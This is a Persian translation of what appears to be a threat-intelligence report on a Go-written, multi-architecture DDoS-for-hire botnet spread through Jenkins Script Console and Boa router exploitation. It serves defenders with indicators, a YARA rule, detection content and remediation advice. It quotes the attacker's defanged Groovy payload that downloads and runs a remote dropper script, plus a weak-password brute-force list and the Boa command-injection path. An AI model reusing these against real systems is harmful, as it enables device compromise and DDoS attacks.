این صفحه یک ترجمه است. نسخهٔ انگلیسی متن معتبر است. خواندن نسخهٔ انگلیسی

malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

یک بات‌نت DDoS اجاره‌ای چندسکویی نوشته‌شده با Go

Kinryū Labs فایل bot.exe را تحلیل کرد؛ نسخه ویندوزی یک بات‌نت DDoS کامپایل‌شده با Go که در قالب یک مجموعه دراپر با 11 فایل اجرایی و 13 معماری توزیع و از طریق یک کمپین چندروزه بهره‌برداری از Jenkins Script Console تحویل داده می‌شود. شناسایی میزبان استیجینگ یک API فعال و نیازمند احراز هویت برای سرویس DDoS اجاره‌ای، یک کانال فرمان SSH نوشته‌شده با Go و یک خانواده هم‌میزبان از تبار Mirai را مشخص کرد. با اطمینان بالا ارزیابی می‌کنیم که این یک عملیات تجاری DDoS اجاره‌ای است.

نوشتهٔ Davis Zheng·

TLP:CLEAR. مجاز برای انتشار عمومی. ثبت‌شده توسط شبکه حسگر هانی‌پات Kinryū Labs. نشانگرهای زیر خنثی‌سازی شده‌اند.

خلاصه مدیریتی

  • 13بیلد معماری، 11 فایل اجرایی یکتا
  • 5روش DDoS نام‌گذاری‌شده، به‌همراه یک API اجاره‌ای
  • 3آدرس IP مبدأ هماهنگ در یک /22
  • 2خانواده بات‌نت روی یک میزبان

bot.exe نسخه ویندوزی x86-64 یک بات‌نت DDoS کامپایل‌شده با Go است که در قالب یک مجموعه دراپر چندمعماری توزیع می‌شود. یک اسکریپت پوسته همراه با نام bins.sh سیزده بیلد معماری را دریافت می‌کند که پس از حذف موارد تکراری یازده مورد یکتا باقی می‌ماند و x86 در 32 و 64 بیت، چهار پروفایل ARM، ARM64، Android ARM64 و MIPS در دو حالت big-endian و little-endian را در کنار فایل اجرایی ویندوزی پوشش می‌دهد. این مجموعه از طریق بهره‌برداری از یک سرور Jenkins در معرض اینترنت به شبکه هانی‌پات رسید.

بدافزار پنج روش سیل نام‌گذاری‌شده را در خود جای داده است (HTTP، دست‌دادن TLS، ICMP، TLS مستقیم و یک روش حجمی با برچسب VOULT)، همراه با یک سیل HTTP که رشته‌های User-Agent مرورگرها و هدرهای محلی‌سازی را می‌گرداند تا شبیه ترافیک قانونی به نظر برسد، و همچنین payloadهای تزریق فرمان که وب‌سرور Boa را روی دستگاه‌های مبتنی بر RealTek SDK برای خودانتشاری هدف می‌گیرند. شناسایی میزبان استیجینگ در 185.226.93[.]242 یک API اجاره‌ای DDoS نیازمند احراز هویت روی پورت 3333، یک سرویس SSH پیاده‌سازی‌شده با Go روی پورت 2222 در نقش کانال فرمان، و یک سرویس FTP ناشناس که خانواده دوم بات‌نت از تبار Mirai/Gafgyt را استیج می‌کند را مشخص کرد.

Kinryū Labs با اطمینان بالا ارزیابی می‌کند که bot.exe بخشی از یک بات‌نت DDoS مخرب، خودانتشار و چندمعماری است که به‌صورت یک سرویس تجاری اجاره‌ای اداره می‌شود. سه یافته این ارزیابی را پشتیبانی می‌کند: رشته‌های مربوط به روش‌های حمله و بهره‌برداری در خود فایل اجرایی؛ یک API اجاره‌ای فعال روی میزبان استیجینگ اپراتور که پارامترهای سفارش را اعتبارسنجی می‌کند و احراز هویت می‌خواهد؛ و تله‌متری هانی‌پات از یک کمپین مستمر از آدرس‌های مبدأ هماهنگ که این مجموعه را تحویل می‌دادند.

قضاوت‌های کلیدی
  • bot.exe یک بات‌نت DDoS چندسکویی نوشته‌شده با Go است. پنج رشته لاگ متمایز مربوط به روش‌های سیل، پارامترهای هدف و مدت را حمل می‌کنند، در کنار سازوکار جعل هویت مرورگر و پشتیبانی از SOCKS5، همه در رشته‌های مبهم‌نشده و تأییدشده توسط API فعال.
  • این عملیات به‌صورت یک سرویس تجاری DDoS اجاره‌ای اداره می‌شود. میزبان استیجینگ یک API روی پورت 3333 در دسترس قرار می‌دهد که پارامترهای سفارش (user، psw، host، method، time، port) را اعتبارسنجی و اعتبارنامه‌های نامعتبر را رد می‌کند.
  • این بات‌نت از طریق تزریق فرمان در دستگاه‌های IoT خودانتشار می‌شود. فایل اجرایی یک payload تزریق فرمان برای formSysCmd در Boa، یک مسیر حمله جستجوی فراگیر روی ورود روتر، و توابع صادرشده loginDevice و loginDeviceCaptcha را در خود دارد و همان دستور یک‌خطی دراپر ثبت‌شده در لاگ‌های هانی‌پات را تزریق می‌کند.
  • سه آدرس IP مبدأ یک اپراتور واحد هستند. سه آدرس در 185.226.92[.]0/22 payloadهای یکسان را با زمان‌بندی هماهنگ و یک فهرست اعتبارنامه مشترک تحویل دادند، و آدرس‌های IP تحویل و استیجینگ کلیدهای میزبان SSH یکسانی ارائه می‌کنند که نشانه یک میزبان واحد یا ایمیج‌های کلون‌شده است.

تحویل: یک کمپین مستمر علیه Jenkins Script Console

این مجموعه از طریق بهره‌برداری از یک نمونه Jenkins در معرض اینترنت تحویل داده شد. تله‌متری هانی‌پات یک روش دومرحله‌ای ثابت را ثبت کرد: یک GET /crumbIssuer/api/json برای دریافت توکن CSRF و پس از آن یک POST /script حاوی یک payload گرووی برای Script Console. این payload در تمام تلاش‌ها یکسان بود و در اینجا خنثی‌سازی شده است:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

درخواست‌ها یک هدر Authorization: Basic حمل می‌کردند که یک دیکشنری کوتاه از گذرواژه‌های عددی ضعیف را برای حساب admin می‌گرداند (admin:1123، admin:123451، admin:1231231، admin:1111111، admin:12345123) و این امضای یک فهرست اعتبارنامه خودکار است و نه احراز هویت هدفمند.

کمپین در چند روز و در موج‌های تکرارشونده اجرا شد:

  • موج 1نخستین کاوش‌ها: بررسی crumb مربوط به CSRF و پس از آن RCE گرووی، از آدرس IP استیجینگ و یک آدرس دوم در همان بلوک.
  • ضبطbins.sh و تمام سیزده گونه دو بار و با فاصله حدوداً چهارده ساعت ضبط شدند و هر بار بایت‌به‌بایت یکسان بودند.
  • موج‌های بعدیبهره‌برداری موازی از هر سه آدرس IP مبدأ با فاصله چند دقیقه از یکدیگر، با گردش User-Agentها.

درخواست‌های بهره‌برداری مجموعه بزرگی از User-Agentهای واقع‌نمای مرورگر را می‌گرداندند، در حالی که پویش شناسایی برای یافتن اهداف بیشتر Jenkins (یک درخواست /login و پس از آن رشته‌ای سریع از درخواست‌های /script) از مقدار پیش‌فرض Go-http-client/1.1 استفاده می‌کرد. User-Agentهای جعلی همراه payloadهای بهره‌برداری می‌آیند؛ اسکنر از کلاینت بومی Go همین بات‌نت استفاده می‌کند. خود میزبان استیجینگ و C2 نیز در بهره‌برداری مشارکت داشت، بنابراین زیرساخت حمله و میزبانی از هم جدا نیستند.

بدافزار: یک پایگاه کد Go، یازده فایل اجرایی

نوشتن بات با Go این امکان را می‌دهد که یک پایگاه کد برای هر هدفی که اپراتور بخواهد کراس‌کامپایل شود. دراپر تمام خط محصول را می‌پیماید، هر بیلد را با wget و سپس به‌عنوان جایگزین با curl دریافت می‌کند، آن را قابل اجرا می‌کند، اجرا می‌کند و حذف می‌کند. این مجموعه شامل یک .exe ویندوزی است که دراپر لینوکسی همچنان آن را از chmod +x می‌گذراند، و ساختار تولیدشده اسکریپت به یک خط‌لوله بیلد و فهرست‌سازی اشاره دارد. پس از حذف موارد تکراری، سیزده بیلد به یازده فایل اجرایی یکتا کاهش می‌یابد: بیلدهای x86 و i386 یکسان‌اند و همچنین بیلدهای ARM عمومی و ARMv7. گستره معماری‌ها، از MIPS و ARM قدیمی تا Android، نشان‌دهنده بات‌نتی است که روتر‌ها، دوربین‌ها و سایر دستگاه‌های توکار را هدف گرفته است؛ بیلد ویندوزی همان کد را به دسکتاپ‌ها و سرورها می‌برد.

فایل اجرایی بسته‌بندی (pack) نشده است (آنتروپی بخش‌های PE بین 5.4 و 6.3 قرار دارد) و strip نشده است (شناسه بیلد Go و نمادهای رانتایم دست‌نخورده‌اند)، بنابراین قابلیت‌های آن در رشته‌های ساده قابل مشاهده است. مهر زمانی کامپایل صفر شده که برای بیلدهای Go عادی است.

پنج روش سیل در رشته‌های لاگ فایل اجرایی نام‌گذاری شده‌اند و هر یک با یک هدف و یک مدت قالب‌بندی می‌شود: یک سیل “HTTP (Optimized)”، یک سیل فرسایشی “Handshake” مبتنی بر TLS/TCP، یک سیل “PING” مبتنی بر ICMP، یک سیل نشست مستقیم “TLS+” و یک روش “VOULT” که حجمی و به احتمال زیاد مبتنی بر UDP است. هم گزینه‌های لایه کاربرد و هم لایه شبکه حاضرند.

سیل HTTP طوری ساخته شده که به‌عنوان ترافیک قانونی جا بزند. بیش از ده رشته User-Agent مرورگر را می‌گرداند که Chrome، Edge، Opera، Firefox و Safari روی Windows، macOS، iPad و Android را پوشش می‌دهد؛ پانزده محلی‌سازی Accept-Language؛ و هدرهای اثرانگشتی sec-fetch-* و sec-ch-ua-* که سرویس‌های کاهش اثر حمله آن‌ها را بررسی می‌کنند. یک Referer از مجموعه کوچکی از سایت‌های با اعتبار بالا تنظیم می‌کند (google.com، reddit.com، facebook.com، bing.com، twitter.com و fbi.gov). یکی از مدخل‌های مجموعه User-Agent رشته عینی Hello World است؛ یک مقدار جایگزین توسعه‌دهنده که امضای شناسایی تمیزی می‌سازد، چون هیچ کلاینت قانونی آن را ارسال نمی‌کند.

انتشار، وب‌سرور Boa را هدف می‌گیرد؛ یک دیمن HTTP کوچک توکار که هنوز روی بسیاری از روترها و دوربین‌های مبتنی بر RealTek SDK عرضه می‌شود. فایل اجرایی یک payload تزریق فرمان علیه هندلر formSysCmd در Boa و یک مسیر جستجوی فراگیر علیه واسط‌های مدیریتی روتر را در خود دارد، همراه با فیلدهای اعتبارنامه JSON و توابع صادرشده loginDevice و loginDeviceCaptcha. فرمان تزریق‌شده همان دستور یک‌خطی دراپر است، بنابراین یک دستگاه آلوده‌شده به نقطه تحویل برای دستگاه بعدی تبدیل می‌شود.

ماژول‌های Go که vendor شده‌اند همه بسته‌های استاندارد golang.org/x هستند و هیچ فریم‌ورک C2 ثالثی لینک نشده است. این ماژول‌ها شامل chacha20poly1305، http2/hpack، dns/dnsmessage و http/httpproxy هستند که با قابلیت‌های قابل مشاهده مطابقت دارد: یک کانال با رمزنگاری احراز هویت‌شده، HTTP/2، DNS خام و پروکسی SOCKS5 (رشته‌های socks5، socks connect و socksUsernamePassword حاضرند). پیکربندی C2 در زمان اجرا از hxxp://<C2>/config.dat دریافت می‌شود؛ تنها آدرس درج‌شده به‌صورت ثابت در فایل اجرایی، میزبان استیجینگ است.

زیرساخت فرماندهی و کنترل و استیجینگ

شناسایی میزبان استیجینگ سرویس‌های زیر را مشخص کرد:

پورتسرویسکاربرد
21/tcpvsftpd 3.0.3، ورود ناشناس فعالاستیجینگ بدافزار (خانواده دوم، در ادامه)
22/tcpOpenSSH 9.2p1 (Debian)دسترسی اپراتور
1001/tcpسرور net/http نوشته‌شده با Goاستیجینگ اصلی: ارائه bins.sh و گونه‌ها
2222/tcpSSH نوشته‌شده با Go (SSH-2.0-Go)کانال فرمان بات
3333/tcpسرور net/http نوشته‌شده با GoAPI اجاره‌ای DDoS

دو یافته از ارزیابی «سرویس اجاره‌ای» پشتیبانی می‌کنند. آدرس IP تحویل و میزبان استیجینگ کلیدهای میزبان SSH یکسان ED25519، RSA و ECDSA ارائه می‌کنند که آن‌ها را روی یک ماشین واحد یا روی ایمیج‌های کلون‌شده از یک قالب قرار می‌دهد، و سرویس SSH نوشته‌شده با Go روی پورت 2222 کلیدی متفاوت از OpenSSH سیستمی روی پورت 22 ارائه می‌کند که نشان می‌دهد یک برنامه جداگانه است و نه یک فورواردینگ. API روی پورت 3333 درخواست فاقد پارامترها (user، psw، host، method، time/duration، port) را رد می‌کند و برای اعتبارنامه‌های آزمایشی خطای احراز هویت بازمی‌گرداند، در حالی که تمام مسیرهای دیگر 404 برمی‌گردانند. این همان واسط کمینه با احراز هویت در هر درخواست است که یک بوتر تجاری دارد و روی زیرساخت فعال اجرا می‌شود.

خانواده دوم روی همان میزبان

سرویس FTP ناشناس یک خانواده بات‌نت جداگانه را استیج می‌کند که در اینجا بر اساس نام فایل‌هایش «boatnet» نامیده می‌شود. دراپر آن (ohshit1.sh) از کلاینت ftpget در BusyBox استفاده می‌کند، نام هر فایل اجرایی را پیش از اجرا به WTF تغییر می‌دهد و بیلدها را در پس‌زمینه برای پانزده معماری اجرا می‌کند، از جمله اهداف توکار کم‌کاربرد (ARC، m68k، SH4، SPARC) از تبار Mirai/Gafgyt. فایل‌های اجرایی ELF کامپایل‌شده با C هستند، strip شده‌اند و بسته‌بندی شده‌اند (آنتروپی 7.6 تا 7.9 بدون امضای UPX که نشان‌دهنده یک packer سفارشی است)، بنابراین چیز زیادی برای بررسی ایستا باقی نمی‌ماند. آثار boatnet قدیمی‌تر از مجموعه bot.exe هستند و پایگاه کد بی‌ربطی را اجرا می‌کنند، پس یک میزبان دو خانواده بات‌نت متمایز را استیج می‌کند.

میزبانی

هر دو آدرس IP مهاجم در 185.226.92[.]0/22 قرار می‌گیرند که از طریق RIPE NCC به نام یک ارائه‌دهنده VPS مستقر در ترکیه ثبت شده است (نام شبکه BIGCORE-US، AS205196 / AS57152) با مخاطب سوءاستفاده abuse@bigcore.net. ارائه‌دهنده میزبانی را برای مقاصد گزارش‌دهی مشخص می‌کنیم و هیچ ادعایی درباره هویت اپراتور نداریم.

نشانگرهای نفوذ

زیرساخت مهاجم خنثی‌سازی شده است. هش‌های نمونه و رشته‌های شناسایی به‌صورت عامدانه مقادیر واقعی دارند.

شبکه

نشانگرزمینه
185.226.93[.]242میزبان استیجینگ + C2؛ همچنین یک اسکنر فعال
185.226.92[.]110اسکنر اصلی / گره تحویل
185.226.92[.]173اسکنر ثانویه
185.226.92[.]0/22تخصیص میزبانی (BIGCORE، AS205196). مسدودسازی منطقی در محیط شبکه
185.226.93[.]242:1001استیجینگ HTTP (bins.sh + گونه‌ها)
185.226.93[.]242:2222کانال فرمان SSH نوشته‌شده با Go
185.226.93[.]242:3333API اجاره‌ای DDoS (/api، مشروط به پارامترها)
185.226.93[.]242:21FTP ناشناس، استیجینگ boatnet
hxxp://<C2>/config.datالگوی دریافت پیکربندی C2 در زمان اجرا
/boafrm/formSysCmd، /boafrm/formLoginURIهای RCE و جستجوی فراگیر ورود Boa در انتشار خروجی
کلید میزبان SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…مشترک میان آدرس‌های IP تحویل و C2؛ نشانگر چرخش تحلیل

فایل‌ها

فایلSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (دراپر)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • MD5 / SHA-1 / imphash مربوط به bot.exe: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
هش کامل مجموعه دراپر (11 مورد یکتا در 13 بیلد)
بیلدSHA-256اندازه (بایت)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

آثار میزبان و اعتبارنامه‌ها

  • دیکشنری جستجوی فراگیر برای admin در Jenkins: 1123، 123451، 1231231، 1111111، 12345123.
  • ohshit1.sh (دراپر boatnet) و یک فایل اجرایی که پیش از اجرا به WTF تغییر نام داده می‌شود.
  • User-Agentهای متمایز: Hello World (سیل HTTP بات) و Go-http-client/1.1 (خودپویشی بات).

رفتاری

  • درخواست GET /crumbIssuer/api/json در Jenkins و پس از آن POST /script حاوی یک payload گرووی ProcessBuilder('sh','-c', …) که bins.sh را دریافت می‌کند.
  • درخواست‌های خروجی به یک میزبان روی مسیر /config.dat که پیش از آن یک خط لاگ Connecting to CNC... می‌آید.
  • درخواست ورودی POST /boafrm/formSysCmd با sysCmdselect=5 و بدنه‌ای حاوی wget … bins.sh.

شناسایی

رشته‌ها پایدار و مبهم‌نشده هستند، بنابراین ساخت امضا ساده است. قاعده YARA زیر یک نامزد است که از رشته‌های تأییدشده ساخته شده؛ پیش از استقرار آن را اعتبارسنجی کنید.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

شناسایی شبکه‌ای:

  • Jenkins: روی بدنه‌های POST /script که حاوی ProcessBuilder همراه با wget/curl به یک IP خام هستند هشدار دهید، به‌ویژه وقتی پیش از آن GET /crumbIssuer/api/json آمده باشد.
  • انتشار IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • زیرساخت: 185.226.92[.]0/22 را که آدرس‌های تحویل و C2 را پوشش می‌دهد مسدود کنید و روی اتصال‌های خروجی به پورت‌های 1001، 2222 و 3333 در آن محدوده هشدار دهید.

اقدامات اصلاحی

  • Jenkins را در معرض اینترنت قرار ندهید. آن را پشت احراز هویت و جداسازی شبکه‌ای بگذارید، Script Console را برای کاربران غیرمدیر غیرفعال کنید و یک سرور بیلد قابل دسترس را به‌عنوان ریسک آلودگی کامل میزبان در نظر بگیرید. این همان بردار تحویل بود.
  • اعتبارنامه‌های قوی برای Jenkins را الزامی کنید و احراز هویت را محدودنرخ کنید. کمپین بر یک دیکشنری کوتاه از گذرواژه‌های عددی ضعیف برای admin تکیه داشت.
  • روترها و دستگاه‌های IoT مبتنی بر RealTek/Boa را جداسازی یا جایگزین کنید و دسترسی بیرونی به واسط‌های مدیریتی آن‌ها را مسدود کنید. این‌ها هدف انتشار بات‌نت هستند.
  • تخصیص میزبانی را مسدود کنید (185.226.92[.]0/22) در محیط شبکه و روی URI مربوط به RCE در Boa و الگوی دریافت config.dat هشدار دهید.
  • ترافیک خروجی را فیلتر کنید. میزبانی که به یک IP خام روی پورت 1001 برای دریافت فایل‌هایی با نام معماری‌ها متصل می‌شود، یا به پورت‌های 2222 یا 3333 در آن محدوده وصل می‌شود، غیرعادی است و جایی که شناسایی سمت میزبان وجود ندارد قابل تشخیص است.
  • زیرساخت را گزارش کنید. API اجاره‌ای DDoS و بدافزار استیج‌شده روی FTP را می‌توان به مخاطب سوءاستفاده ارائه‌دهنده میزبانی گزارش داد (abuse@bigcore.net).

نقشه‌برداری MITRE ATT&CK

تاکتیکتکنیک
دسترسی اولیهT1190 Exploit Public-Facing Application (Jenkins Script Console؛ formSysCmd در Boa برای انتشار)
دسترسی به اعتبارنامهT1110.001 Brute Force: Password Guessing (حساب admin در Jenkins)؛ T1110.004 Credential Stuffing (ورود IoT)
اجراT1059 Command and Scripting Interpreter (گرووی از طریق Script Console؛ دراپر پوسته یونیکس)
کشفT1046 Network Service Scanning (خودپویشی Jenkins/IoT)؛ T1082 System Information Discovery؛ T1057 Process Discovery
فرار از دفاعT1036 Masquerading (گردش User-Agent مرورگر؛ تغییر نام به WTF در boatnet)
فرماندهی و کنترلT1071.001 Web Protocols (config.dat)؛ T1573 Encrypted Channel (ChaCha20-Poly1305؛ SSH نوشته‌شده با Go روی 2222)؛ T1571 Non-Standard Port (1001/2222/3333)؛ T1090.001 Internal Proxy: SOCKS
حرکت جانبی / تحویلT1105 Ingress Tool Transfer (استیجینگ چندمعماری)
تأثیرT1498.001 Direct Network Flood (PING، VOULT)؛ T1498.002 Reflection Amplification (فرسایش دست‌دادن)

روش‌شناسی و یادداشت‌ها

  • دامنه: تحلیل ایستای فایل‌های اجرایی ضبط‌شده، که اجرا نشدند، و شناسایی بیرونی فعال میزبان استیجینگ (شمارش سرویس و بنر، فهرست‌گیری FTP ناشناس و کاوش بدون احراز هویت API روی پورت 3333). هیچ احراز هویتی دور زده نشد.
  • قاعده YARA یک نامزد است که از رشته‌های تأییدشده ساخته شده؛ پیش از استقرار آن را اعتبارسنجی کنید. فایل‌های اجرایی boatnet بسته‌بندی شده‌اند و رشته‌های کمی به دست دادند.
  • نمونه‌ها (مجموعه bot.exe، دراپر و آثار boatnet) در صورت درخواست برای سایر پژوهشگران و مدافعان در دسترس است. به contact@kinryu.sh ایمیل بزنید و در یادداشتی کوتاه بنویسید که چه کسی هستید و برای چه به آن‌ها نیاز دارید.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). یک بات‌نت DDoS اجاره‌ای چندسکویی نوشته‌شده با Go. https://kinryu.sh/fa/reports/go-ddos-botnet-for-hire/